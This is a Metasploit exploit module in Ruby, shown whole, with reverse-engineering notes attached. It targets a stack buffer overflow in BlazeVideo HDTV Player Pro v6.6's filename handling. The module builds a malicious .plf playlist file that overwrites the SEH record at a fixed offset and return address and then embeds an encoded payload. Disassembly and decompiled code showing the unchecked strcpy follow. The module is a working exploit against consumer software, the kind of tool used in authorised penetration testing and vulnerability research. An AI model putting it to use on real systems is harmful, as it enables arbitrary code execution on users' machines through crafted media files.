1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::FILEFORMAT
10
  include Msf::Exploit::Remote::Seh
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => "BlazeVideo HDTV Player Pro v6.6 Filename Handling Vulnerability",
17
        'Description' => %q{
18
          This module exploits a vulnerability found in BlazeVideo HDTV Player's filename
19
          handling routine.  When supplying a string of input data embedded in a .plf file,
20
          the MediaPlayerCtrl.dll component will try to extract a filename by using
21
          PathFindFileNameA(), and then copies whatever the return value is on the stack by
22
          using an inline strcpy.  As a result, if this input data is long enough, it can cause
23
          a stack-based buffer overflow, which may lead to arbitrary code execution under the
24
          context of the user.
25
        },
26
        'License' => MSF_LICENSE,
27
        'Author' => [
28
          'b33f', # Original
29
          'sinn3r' # Metasploit
30
        ],
31
        'References' => [
32
          ['OSVDB', '80896'],
33
          ['EDB', '18693'],
34
          ['EDB', '22931']
35
        ],
36
        'Payload' => {
37
          'BadChars' => "\x00\x0a\x1a\x2f\x3a\x5c",
38
          'StackAdjustment' => -3500
39
        },
40
        'DefaultOptions' => {
41
          'EXITFUNC' => 'thread'
42
        },
43
        'Platform' => 'win',
44
        'Targets' => [
45
          # MediaPlayerCtrl.dll P/P/R
46
          # Tested on: Windows 7 SP1/SP0, Windows XP SP3 / Windows Vista SP2/SP1/SP0
47
          ['BlazeVideo HDTV Player Pro v6.6.0.3', { 'Ret' => 0x64020327, 'Offset' => 868 }]
48
        ],
49
        'Privileged' => false,
50
        'DisclosureDate' => '2012-04-03',
51
        'DefaultTarget' => 0,
52
        'Notes' => {
53
          'Reliability' => UNKNOWN_RELIABILITY,
54
          'Stability' => UNKNOWN_STABILITY,
55
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
56
        }
57
      )
58
    )
59

60
    register_options(
61
      [
62
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf'])
63
      ]
64
    )
65
  end
66

67
  def exploit
68
    buf = 'http://'
69
    buf << rand_text_alpha_upper(target['Offset'])
70
    buf << generate_seh_record(target.ret)
71
    buf << payload.encoded
72
    buf << rand_text_alpha(5000 - buf.length)
73

74
    print_status("Creating '#{datastore['FILENAME']}'...")
75
    file_create(buf)
76
  end
77
end
78

79
=begin
80
Version: HDTV Player Professional v6.6
81

82
In MediaPlayerCtrl.dll (File version: 2.0.0.2; Product version: 2.0.0.2)
83
.text:6400E574                 mov     eax, [esp+138h+Source]
84
.text:6400E578                 mov     edx, [ebp+0ECh]
85
.text:6400E57E                 push    eax
86
.text:6400E57F                 push    eax             ; pszPath  <-- Our URL
87
.text:6400E580                 mov     edi, [edx]
88
.text:6400E582                 call    ebx ; PathFindFileNameA
89
.text:6400E584                 mov     ecx, [ebp+0ECh]
90
.text:6400E58A                 push    eax             ; File path to copy
91
.text:6400E58B                 push    esi
92
.text:6400E58C                 push    1
93
.text:6400E58E                 call    dword ptr [edi] ; 0x6400f1f0
94

95
0x6400F1F0 (no length check either) goes down to 0x6400F670:
96

97
int __thiscall sub_6400F670(int this, int a2, int a3, const char *source, const char *a5)
98
{
99
  ...
100

101
  v5 = this;
102
  if ( a2 && source && a5 )
103
  {
104
    memset(&buffer, 0, '\x02\x10');
105
    v16 = *(this + 4);
106
    *(this + 4) = v16 + 1;
107
    v18 = a3;
108
    buffer = a2;
109
    strcpy(&Dest2, source);  // <-- This is a rep movs
110
=end
111

112